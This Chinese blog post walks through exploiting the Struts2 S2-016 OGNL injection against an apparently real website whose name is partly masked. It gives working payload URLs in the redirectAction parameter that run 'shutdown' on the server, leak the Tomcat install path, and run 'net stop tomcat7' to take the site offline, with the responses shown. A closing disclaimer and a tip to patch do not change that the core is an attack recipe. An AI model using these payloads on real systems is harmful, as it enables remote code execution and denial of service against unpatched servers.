怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站?
Struts是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来做的)。甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的)。
最近被热议的一个高危安全漏洞:http://struts.apache.org/release/2.3.x/docs/s2-016.html,导致了黑产界的暗流涌动,掀起继CSDN被“脱裤”以来的又一波“脱裤”热潮。虽然我没怎么使用过struts(只用过struts1.1,那已经是7年以前的陈年旧事了),也忍不住关注了一下这个漏洞。这个漏洞的根源在于ognl,让注入远程恶意代码有隙可乘。那些还在用Struts2的java程序员们,赶紧补漏洞去吧,安全第一。
下面用一个简单的恶意攻击例子来说明一下这个漏洞的高危性:
1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。)
2. 开始第一波攻击:
http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘shutdown‘,‘-s‘,‘-t‘,‘2‘})).start()}
它返回的是http://www.**.com/struts2-showcase/employee/[email protected], 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
再去用Chrome访问http://www.**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击:
既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
不想猜的话,那就让它自己来告诉我们:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File(‘.‘)).getAbsolutePath().replaceAll(‘:‘,‘‘)}
它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
出绝招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘net‘,‘stop‘,‘tomcat7‘})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。
免责声明: 本文仅说明该漏洞的高危性,请不要用来干坏事。